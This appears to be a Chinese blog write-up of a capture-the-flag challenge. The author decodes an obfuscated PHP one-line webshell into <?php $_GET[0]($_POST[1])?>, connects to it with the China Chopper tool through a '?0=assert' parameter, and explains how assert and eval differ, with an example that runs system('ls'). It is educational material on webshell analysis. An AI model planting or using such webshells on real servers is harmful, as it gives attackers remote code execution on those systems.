进入环境,发现是php源码
用在线php代码调试工具调试(要用echo输出,将${$__}[!$_](${$___}[$_]);删掉,否则报错)
结合输出, ${$__}[!$_](${$___}[$_]); 的意思大概是
<?php $_GET[0]($_POST[1])?>
这是php一句话木马的变种
其他更多变种参考:https://blog.csdn.net/xiaoshan812613234/article/details/41743189
接下来就是菜刀无惧链接了,http://219.153.49.228:46361/b.php?0=assert
拿到key
如果连不上,不要怀疑方法的问题,是菜刀版本问题......
请换一把菜刀,不要问我是怎么知道的。。。。
总结
操作可谓是相当简单,但也只是上网找的教程照做而已。心中还有不少困惑,知其意而不明其义。
一开始,博主很好奇,因为姆语言不是php,不明白为什么会出现一个assert参数,也不明白为什么要0=assert,
在题目中也是没提示,于是上网深扒。
在https://www.cnblogs.com/sijidou/p/9168496.html这个解题博客中,发现一句木马的新玩法,不但能通过密码链接,
还可以直接通告url调动系统函数例如phpInfo(),这里也发现了assert和eval函数的区别。
assert和eval函数的区别
assert和eval都是可以直接执行括号里的任意代码的,唯一不同的是eval是直接编译的语言构造器,可直接调用echo等可变函数,而assert是一个可变函数,PHP 将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途。但值得注意的是不能用于例如 echo,print,unset(),isset(),empty(),include,require 以及类似的语言结构。这里具体可以参考:https://www.cnblogs.com/iamstudy/articles/analysis_eval_and_assert.html
assert这个函数可以在括号里输入任意字符串代码,代码就会被执行,例如
<?php assert('system('ls')');?>
和eval函数一样, 代码会被执行
但是这个可以执行任意字符串代码的功能只能php 5 才可以用,php 7以上assert变成了一种语言结构而不是一个函数,
也就是说像eval一样不支持可变函数。
具体参考链接:https://www.smi1e.top/%E6%B5%85%E8%B0%88eval%E5%92%8Cassert/
大概明白了assert和eval的区别与用法,但是根本问题没解决,为什么要用到0=assert。
直到我再翻回之前看过得博客https://www.cnblogs.com/sijidou/p/9168496.html,才恍然大悟,$_GET[1]是用GET的方式
从页面的url获取方法名字为“0”的值assert,现在尝试解释一下题目的参数代码意思
上面题目的一句话木马
<?php $_GET[0]($_POST[1])?>
$_GET[0] 获取以GET的方式从页面的url获取了方法名字为“0”的值assert,就会变成以下代码'
<?php assert($_POST[1])?>
变成了一句话木马的原型
而且里面的$_POST[1]也可以自由控制参数,什么都不传就是密码为1,菜刀链接上去。
也可以执行操作,例如用HackBar访问题目网址
其实这个url的转换到后台的执行是
<?php assert('phpinfo()')?>
到此,所有困惑已经解决。